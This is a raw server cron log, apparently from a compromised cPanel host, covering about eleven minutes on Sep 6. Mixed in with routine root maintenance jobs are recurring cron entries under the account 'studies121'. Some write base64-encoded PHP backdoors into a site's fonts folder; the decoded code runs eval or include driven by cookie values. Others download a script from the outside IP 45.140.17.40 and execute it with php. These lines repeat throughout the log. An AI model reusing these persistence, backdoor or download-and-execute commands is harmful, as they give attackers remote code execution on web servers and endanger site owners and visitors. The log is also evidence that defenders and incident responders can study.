Sep  6 06:00:01 ip-184-168-122-23 CROND[24523]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  6 06:00:01 ip-184-168-122-23 CROND[24529]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:00:01 ip-184-168-122-23 CROND[24528]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 06:00:01 ip-184-168-122-23 CROND[24534]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 06:00:01 ip-184-168-122-23 CROND[24536]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 06:00:01 ip-184-168-122-23 CROND[24533]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:00:01 ip-184-168-122-23 CROND[24535]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 06:00:01 ip-184-168-122-23 CROND[24540]: (root) CMD (/usr/local/cpanel/scripts/exim_tidydb > /dev/null 2>&1)
Sep  6 06:00:01 ip-184-168-122-23 CROND[24537]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 06:01:01 ip-184-168-122-23 CROND[24656]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:01:01 ip-184-168-122-23 CROND[24657]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:01:01 ip-184-168-122-23 CROND[24659]: (root) CMD (run-parts /etc/cron.hourly)
Sep  6 06:01:01 ip-184-168-122-23 CROND[24661]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 06:01:01 ip-184-168-122-23 CROND[24662]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 06:01:01 ip-184-168-122-23 CROND[24666]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 06:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[24659]: starting 0anacron
Sep  6 06:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[24678]: finished 0anacron
Sep  6 06:02:01 ip-184-168-122-23 CROND[24757]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 06:02:01 ip-184-168-122-23 CROND[24758]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:02:01 ip-184-168-122-23 CROND[24759]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 06:02:01 ip-184-168-122-23 CROND[24760]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:02:01 ip-184-168-122-23 CROND[24763]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 06:03:01 ip-184-168-122-23 CROND[24863]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:03:01 ip-184-168-122-23 CROND[24865]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 06:03:01 ip-184-168-122-23 CROND[24866]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:03:01 ip-184-168-122-23 CROND[24871]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 06:04:01 ip-184-168-122-23 CROND[24970]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 06:04:01 ip-184-168-122-23 CROND[24972]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:04:01 ip-184-168-122-23 CROND[24975]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 06:04:01 ip-184-168-122-23 CROND[24974]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 06:04:01 ip-184-168-122-23 CROND[24973]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:05:01 ip-184-168-122-23 CROND[25157]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 06:05:01 ip-184-168-122-23 CROND[25159]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 06:05:01 ip-184-168-122-23 CROND[25161]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 06:05:01 ip-184-168-122-23 CROND[25160]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:05:01 ip-184-168-122-23 CROND[25163]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:05:01 ip-184-168-122-23 CROND[25162]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 06:05:01 ip-184-168-122-23 CROND[25164]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 06:06:01 ip-184-168-122-23 CROND[25287]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 06:06:01 ip-184-168-122-23 CROND[25290]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:06:01 ip-184-168-122-23 CROND[25291]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 06:06:01 ip-184-168-122-23 CROND[25293]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:06:01 ip-184-168-122-23 CROND[25292]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 06:07:01 ip-184-168-122-23 CROND[25390]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 06:07:01 ip-184-168-122-23 CROND[25394]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 06:07:01 ip-184-168-122-23 CROND[25392]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:07:01 ip-184-168-122-23 CROND[25393]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:08:01 ip-184-168-122-23 CROND[25520]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 06:08:01 ip-184-168-122-23 CROND[25522]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 06:08:01 ip-184-168-122-23 CROND[25521]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 06:08:01 ip-184-168-122-23 CROND[25523]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:08:01 ip-184-168-122-23 CROND[25525]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:09:01 ip-184-168-122-23 CROND[25621]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 06:09:01 ip-184-168-122-23 CROND[25622]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 06:09:01 ip-184-168-122-23 CROND[25623]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:09:01 ip-184-168-122-23 CROND[25624]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:09:01 ip-184-168-122-23 CROND[25626]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 06:10:01 ip-184-168-122-23 CROND[25822]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 06:10:01 ip-184-168-122-23 CROND[25825]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 06:10:01 ip-184-168-122-23 CROND[25832]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 06:10:01 ip-184-168-122-23 CROND[25831]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:10:01 ip-184-168-122-23 CROND[25833]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 06:10:01 ip-184-168-122-23 CROND[25830]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:10:01 ip-184-168-122-23 CROND[25836]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 06:10:01 ip-184-168-122-23 CROND[25835]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 06:11:01 ip-184-168-122-23 CROND[25931]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:11:01 ip-184-168-122-23 CROND[25930]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 06:11:01 ip-184-168-122-23 CROND[25932]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
